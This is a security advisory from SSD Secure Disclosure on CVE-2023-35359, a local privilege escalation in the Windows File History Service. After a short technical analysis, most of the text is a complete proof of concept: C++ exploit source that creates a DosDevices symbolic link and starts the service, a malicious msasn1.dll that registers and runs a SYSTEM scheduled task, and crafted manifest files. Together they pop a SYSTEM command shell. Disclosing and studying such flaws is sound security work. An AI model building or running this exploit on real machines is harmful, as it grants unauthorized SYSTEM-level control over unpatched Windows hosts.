SSD Advisory – File History Service (fhsvc.dll) Elevation of Privilege

Summary

A vulnerability in Windows’s File History Service allows local users to gain elevated privileges on the Windows operating system.

Credit

An independent security researcher working with SSD Secure Disclosure, the vulnerability was one of the winners of TyphoonCon’s TyphoonPWN 2023 – in the category of Windows PE.

CVE

CVE-2023-35359

Vendor Response

The vendor has issued a fix for the vulnerability available at: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35359

Technical Analysis

A vulnerability exists in the file history service, which runs as system privileges, and can be exploited to elevate from ordinary users to system privileges.

The file history service can be started by ordinary users. When the service is started, When the service starts, the core file fhsvc.dll will be loaded, and then the vulnerable function CManagerThread::QueueBackupForLoggedOnUser will be hit. When this function is executed, it will simulate the currently logged-in user and load fhcfg.dll. This behaviour is also the root cause of this vulnerability.

When fhcfg.dll is loaded, the thread will run as the current normal user. The resource of fhcfg.dll contains manifest attributes. Once the DLL is loaded, csrss.exe will create a default activation context, according to the dependencies in the manifest file, to automatically load the required assemblies, because the thread of the file history service is in the impersonation state, so csrss.exe will also impersonate the identity of a normal user to access the manifest file.

When a normal user modifies DosDevices and adds a symbolic link of C: pointing to a fake directory (such as C:\Users\Public\test), then csrss.exe will look for c: as C:\Users\Public\test manifest file.

After setting the symbolic link, csrss.exe will look for C:\Users\Public\test\Windows\WinSxS\Manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.1635_none_270f70857386168e according to the list content of fhcfg.dll.manifest manifest file (The file name will vary depending on the operating system environment).

If we directly write our fake DLL path in the fake manifest, then we still can’t exploit, because the loaded dll will be from C:\Windows\WinSxS\Manifestsm, which is not a directory we can control, so we need a second manifest , and change the file attribute of the first list to file name=..\..\..\..\..\..\test\test.

When the file attribute of the fake list content is file name=..\..\..\..\..\..\test\test, csrss.exe will continue to search for the second command list C:\Users\ Public\test\test\test.manifest.

In order to exploit this vulnerability, it is also necessary to add a DLL name that the service process loads after the activation context ends in the second fake list test.manifest.

It was found that when the file history service is about to exit (the file history service runs for 30 seconds by default), it will load msasn1.dll, obviously msasn1.dll is very suitable for exploiting.

If we construct a false manifest test.manifest and add a DLL named msasn1.dll as a dependency, when the file history service loads msasn1.dll after the activation context is generated, it will try to open C:\test\msasn1.dll, and also It is the msasn1.dll we constructed.

Since the file history service does not have the SeIncreaseQuotaPrivilege privilege, we cannot directly pop up the cmd window that can be displayed, but the service has the SeImpersonatePrivilege privilege. If we add a scheduled task and specify an exe to start, it will start with the default privilege of the system account.

We have done all of this in exp, including the aftermath and you should be able to test-run interactively, provided you wait 30 seconds.

To test the vulnerability, you need to put the exe and msasn1.dll and test.manifest, manifest.manifest in the same directory, and then execute the exe.

Successful result: after waiting for 30 seconds, system cmd pops up:

Failure result: cmd does not pop up, you should check whether the file history service is disabled, if the service is disabled, this vulnerability cannot be exploited (the service is enabled by default).

Proof of Concept

exp.cpp

#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <strsafe.h>
#include <userenv.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Userenv.lib")
#pragma warning(disable:4996)

wchar_t FakeFileName1[MAX_PATH] = { 0 };
wchar_t FakeFileName2[MAX_PATH] = { 0 };
wchar_t manifestFileName[MAX_PATH] = { 0 };

HANDLE SymlinkHandle;
wchar_t buffer[MAX_PATH] = { 0 };

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

extern "C" int NTAPI NtCreateSymbolicLinkObject(OUT PHANDLE           SymbolicLinkHandle,
    IN ACCESS_MASK        DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN PUNICODE_STRING    TargetName);

HANDLE nCreateSymbolicLink() {

    HANDLE SymbolicLinkHandle = NULL;
    UNICODE_STRING TargetObjectName = { 0 };
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    UNICODE_STRING SymbolicLinkObjectName = { 0 };

    WCHAR path[MAX_PATH]{0};
    WCHAR path2[MAX_PATH]{ 0 };
    wcscat(path, L"\\??\\");
    wcscat(path, buffer);
    wcscat(path2, L"\\GLOBAL??\\");
    wcscat(path2, buffer);
    wcscat(path2, L"\\Users\\Public\\test");

    RtlInitUnicodeString(&SymbolicLinkObjectName, path);
    RtlInitUnicodeString(&TargetObjectName, path2);
    InitializeObjectAttributes(&ObjectAttributes,
        &SymbolicLinkObjectName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        NULL);

    int NtStatus = NtCreateSymbolicLinkObject(&SymbolicLinkHandle,
        SYMBOLIC_LINK_ALL_ACCESS,
        &ObjectAttributes,
        &TargetObjectName);

    if (NtStatus != 0) {
        printf("[-] Failed to open object directory: 0x%X\n", NtStatus);
    }
    return SymbolicLinkHandle;
}
VOID exit_();
void RunCMD()
{
    HANDLE ProcessHandle = NULL;
    HANDLE CurrentToken = NULL;
    HANDLE TokenDup = NULL;

    ProcessHandle = GetCurrentProcess();
    if (!OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &CurrentToken))
    {
        return;
    }
    if (!DuplicateTokenEx(CurrentToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &TokenDup))
    {
        return;
    }
    DWORD dwSessionID = 1;
    if (!SetTokenInformation(TokenDup, TokenSessionId, &dwSessionID, sizeof(DWORD)))
    {
        return;
    }
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFO);
    si.lpDesktop = (LPWSTR)L"WinSta0\\Default";

    LPVOID pEnv = NULL;
    DWORD dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT;
    if (!CreateEnvironmentBlock(&pEnv, TokenDup, FALSE))
    {
        return;
    }

    wchar_t cmdpath[MAX_PATH] = { 0 };
    wchar_t WinPath[MAX_PATH] = { 0 };

    if (!GetEnvironmentVariableW(L"SYSTEMROOT", WinPath, MAX_PATH))
    {
        return;
    }

    wcscat(cmdpath, WinPath);
    wcscat(cmdpath, L"\\system32\\cmd.exe");

    if (!CreateProcessAsUserW(TokenDup, cmdpath, (LPWSTR)L" /k cd ..\\..\\..\\..", NULL, NULL, FALSE, dwCreationFlags, pEnv, NULL, &si, &pi))
    {
        return;
    }
}

void TraverseDirectory(wchar_t Dir[MAX_PATH])
{
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    wchar_t DirSpec[MAX_PATH]{0};
    DWORD dwError;
    StringCchCopy(DirSpec, MAX_PATH, Dir);
    StringCchCat(DirSpec, MAX_PATH, TEXT("\\*"));

    hFind = FindFirstFile(DirSpec, &FindFileData);

    if (hFind == INVALID_HANDLE_VALUE)
    {
        FindClose(hFind);
    }
    else
    {
        while (FindNextFile(hFind, &FindFileData) != 0)
        {
            if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0 && wcscmp(FindFileData.cFileName, L".") == 0 || wcscmp(FindFileData.cFileName, L"..") == 0)
            {
                continue;
            }
            if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0)
            {

                wchar_t DirAdd[MAX_PATH]{0};
                StringCchCopy(DirAdd, MAX_PATH, Dir);
                StringCchCat(DirAdd, MAX_PATH, TEXT("\\"));
                StringCchCat(DirAdd, MAX_PATH, FindFileData.cFileName);
                TraverseDirectory(DirAdd);
                RemoveDirectoryW(DirAdd);
            }
            else
            {
                WCHAR path[1000] = { 0 };
                wcscpy(path, Dir);
                wcscat(path, L"\\");
                wcscat(path, FindFileData.cFileName);
                DeleteFile(path);

            }
        }
        FindClose(hFind);
    }

    return;
}

BOOL findfile(wchar_t Dir[MAX_PATH])
{
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    wchar_t DirSpec[MAX_PATH]{0};
    DWORD dwError;
    StringCchCopy(DirSpec, MAX_PATH, Dir);
    StringCchCat(DirSpec, MAX_PATH, TEXT("\\*"));

    hFind = FindFirstFile(DirSpec, &FindFileData);

    if (hFind == INVALID_HANDLE_VALUE)
    {
        FindClose(hFind);
    }
    else
    {
        while (FindNextFile(hFind, &FindFileData) != 0)
        {
            if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0
                && wcscmp(FindFileData.cFileName, L".") == 0 || wcscmp(FindFileData.cFileName, L"..") == 0)
            {
                continue;
            }
            if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0)
            {
                continue;
            }

            if ((wcsstr(FindFileData.cFileName,L"amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.")))
            {
                wcscat(manifestFileName, FindFileData.cFileName);
                return TRUE;
            }
        }
        FindClose(hFind);
    }

    return NULL;
}

VOID CreatetestFile() {

    wchar_t FakeFileName3[MAX_PATH]{ 0 };
    wchar_t FakeFileName4[MAX_PATH]{ 0 };
    wchar_t FakeFileName5[MAX_PATH]{ 0 };
    wchar_t FakeFileName6[MAX_PATH]{ 0 };
    wchar_t FakeFileName7[MAX_PATH]{ 0 };

    if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX_PATH))
    {
        printf("[-] GetEnvironmentVariableW SYSTEMDRIVE Error\n");
        exit(-1);
    }

    printf("[+] GetEnvironmentVariableW SYSTEMDRIVE ok\n");

    wcscat(FakeFileName1, buffer);
    wcscat(FakeFileName1, L"\\Users\\Public\\test");

    wcscat(FakeFileName2, buffer);
    wcscat(FakeFileName2, L"\\test");


    TraverseDirectory(FakeFileName1);
    RemoveDirectoryW(FakeFileName1);
    TraverseDirectory(FakeFileName2);
    RemoveDirectoryW(FakeFileName2);

    int ret = CreateDirectoryW(FakeFileName2, 0);

    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName2);
        exit_();
    }

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName2);

    ret = CreateDirectoryW(FakeFileName1, 0);
    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName1);
        exit_();
    }
    printf("[+] CreateDirectoryW %S ok\n", FakeFileName1);
    wcscat(FakeFileName3, FakeFileName1);
    wcscat(FakeFileName3, L"\\Windows");

    ret = CreateDirectoryW(FakeFileName3, 0);
    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName3);
        exit_();
    }
    printf("[+] CreateDirectoryW %S ok\n", FakeFileName3);

    wcscat(FakeFileName3, L"\\System32");
    ret = CreateDirectoryW(FakeFileName3, 0);
    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName3);
        exit_();
    }
    printf("[+] CreateDirectoryW %S ok\n", FakeFileName3);

    wcscat(FakeFileName3, L"\\fhcfg.dll");

    HANDLE hFILE3 = CreateFileW(FakeFileName3,
        GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFILE3 == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFileW %S\n", FakeFileName3);
        exit_();
    }

    printf("[+] CreateFileW %S ok\n", FakeFileName3);
    CloseHandle(hFILE3);

    wcscat(FakeFileName4, FakeFileName1);
    WCHAR szModule[MAX_PATH]{0};
    GetModuleFileNameW(NULL, szModule, MAX_PATH);
    wcscat(FakeFileName4, L"\\test.exe");

    ret = CopyFileW(szModule, FakeFileName4, FALSE);

    if (!ret)
    {
        printf("[-] CopyFileW %S\n", FakeFileName4);
        exit_();
    }
    printf("[+] CopyFileW ok %S\n", FakeFileName4);

    wcscat(FakeFileName5, FakeFileName1);
    wcscat(FakeFileName5, L"\\test");

    ret = CreateDirectoryW(FakeFileName5, 0);
    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName5);
        exit_();
    }
    printf("[+] CreateDirectoryW %S ok\n", FakeFileName5);
    wcscat(FakeFileName5, L"\\test.manifest");

    ret = CopyFileW(L"test.manifest", FakeFileName5, FALSE);
    if (!ret)
    {
        printf("[-] CopyFileW %S\n", FakeFileName5);
        exit_();
    }
    printf("[+] CopyFileW ok %S\n", FakeFileName5);
    wcscat(FakeFileName6, buffer);
    wcscat(FakeFileName6, L"\\Windows\\WinSxS\\Manifests");

   

    if (!findfile(FakeFileName6))
    {
        printf("[-] findfile %S\n", FakeFileName6);
        exit_();
    }
    printf("[+] findfile %S ok\n", FakeFileName6);

    memset(FakeFileName6, 0, MAX_PATH * 2);
    wcscat(FakeFileName6, FakeFileName1);
    wcscat(FakeFileName6, L"\\Windows\\WinSxS");

    ret = CreateDirectoryW(FakeFileName6, 0);
    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName6);
        exit_();
    }
    printf("[+] CreateDirectoryW %S ok\n", FakeFileName6);

    wcscat(FakeFileName6, L"\\Manifests");

    ret = CreateDirectoryW(FakeFileName6, 0);
    if (!ret)
    {
        printf("[-] CreateDirectoryW %S\n", FakeFileName6);
        exit_();
    }
    printf("[+] CreateDirectoryW %S ok\n", FakeFileName6);


    wcscat(FakeFileName6, L"\\");
    wcscat(FakeFileName6, manifestFileName);

    ret = CopyFileW(L"manifest.manifest", FakeFileName6, FALSE);
    if (!ret)
    {
        printf("[-] CopyFileW %S\n", FakeFileName6);
        exit_();
    }
    printf("[+] CopyFileW ok %S\n", FakeFileName6);

    wcscat(FakeFileName7, FakeFileName2);
    wcscat(FakeFileName7, L"\\msasn1.dll");

    ret = CopyFileW(L"msasn1.dll", FakeFileName7, FALSE);
    if (!ret)
    {
        printf("[-] CopyFileW %S\n", FakeFileName7);
        exit_();
    }
    printf("[+] CopyFileW ok %S\n", FakeFileName7);
}

VOID exit_() {

    CloseHandle(SymlinkHandle);
    TraverseDirectory(FakeFileName1);
    RemoveDirectoryW(FakeFileName1);
    TraverseDirectory(FakeFileName2);
    RemoveDirectoryW(FakeFileName2);
    exit(-1);
}

VOID th() {
    Sleep(40000);
    printf("[-] Time exceeded, exploit failed");
    exit_();
}
int main(int argc, char** argv)
{
    HANDLE handle = OpenEventW(MAXIMUM_ALLOWED, 0, L"Global\\TyphoonPWN");
    if (handle) {
        RunCMD();
        system("\"schtasks \/delete \/tn \\Test1 \/f\"");
        CreateFileW(L"\\\\.\\Pipe\\TyphoonPWN", GENERIC_READ | GENERIC_WRITE, 0,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        exit(-1);
    }
    else
    {

        CreatetestFile();

        SymlinkHandle = nCreateSymbolicLink();

        if (SymlinkHandle == INVALID_HANDLE_VALUE) {
            printf("[!] CreateSymbolicLink error %d\n", GetLastError());
            return  1;
        }
        printf("[+] CreateSymbolicLink ok \n");

        CreateEventW(0, 0, 0, L"Global\\TyphoonPWN");

        SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, MAXIMUM_ALLOWED);
        if (!scmHandle)

        {
            printf("[-] Failed to open SCM: %d\n", GetLastError());
            exit_();
        }
        printf("[+] OpenSCManager ok\n");

        SC_HANDLE serviceHandle = OpenServiceW(scmHandle, L"fhsvc", MAXIMUM_ALLOWED);
        if (!serviceHandle)

        {
            printf("[-] Failed to open service: %d\n", GetLastError());
            exit_();
        }

        printf("[+] OpenServiceW ok\n");

        if (!StartService(serviceHandle, 0, NULL))

        {
            printf("[-] Failed to start service: %d\n", GetLastError());
            exit_();
        }
        printf("[+] StartService ok\n");

        Sleep(3000);
        CloseHandle(SymlinkHandle);

        HANDLE hPipe = CreateNamedPipe(L"\\\\.\\Pipe\\TyphoonPWN", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT
            , PIPE_UNLIMITED_INSTANCES, 0, 0, NMPWAIT_WAIT_FOREVER, 0);
        if (hPipe)
        {
            printf("[+] CreateNamedPipe\n");
        }
        else
        {
            printf("[-] CreateNamedPipe error %x\n", GetLastError());
            exit_();
        }

        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)th, 0, 0, 0);

        printf("[!] Wait for the exploit to succeed .......\n");

        if (ConnectNamedPipe(hPipe, NULL) != NULL)
        {
            printf("[+] The exploit was successful\n");
            Sleep(100);
            exit_();

        }
    }

    return 0;
}

msasn1dll.cpp

#include"pch.h"
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <strsafe.h>
#include <userenv.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Userenv.lib")
#pragma warning(disable:4996)


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:

        char  cmd[1000] = { 0 };
        strcat(cmd, "\"schtasks \/create \/sc minute \/mo 20 \/tn \"Test1\" \/tr ");

        char output[256];
        WCHAR buffer[256];
        if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX_PATH))
        {
            exit(-1);
        }
        wcscat(buffer, L"\\Users\\Public\\test\\test.exe");
        sprintf(output, "%ws", buffer);
        strcat(cmd, output);
        strcat(cmd, " \/ru SYSTEM \/RL HIGHEST\"");
        system(cmd);
        system("\"schtasks \/run \/tn \\Test1\"");
        exit(-1);
        break;

    }
    return TRUE;

}

test.manifest

<assembly
  xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <assemblyIdentity
      name='..\..\..\..\..\..\test\test' 
      version='6.0.0.0'
      processorArchitecture='amd64'
      publicKeyToken='6595b64144ccf1df'
      type='win32'/>
  <file name='msasn1.dll'/>
</assembly>

manifest.manifest

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" copyright="Copyright (c) Microsoft Corporation. All Rights Reserved." xmlns:cmiv2="urn:schemas-microsoft-com:asm.v3" cmiv2:copyright="Copyright (c) Microsoft Corporation. All Rights Reserved.">
  <noInheritable />
  <dependency optional="yes" cmiv2:discoverable="no">
    <dependentAssembly>
      <assemblyIdentity name="..\..\..\..\..\..\test\test" version="6.0.0.0" processorArchitecture="amd64" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
    </dependentAssembly>
  </dependency>
</assembly>

?

Get in touch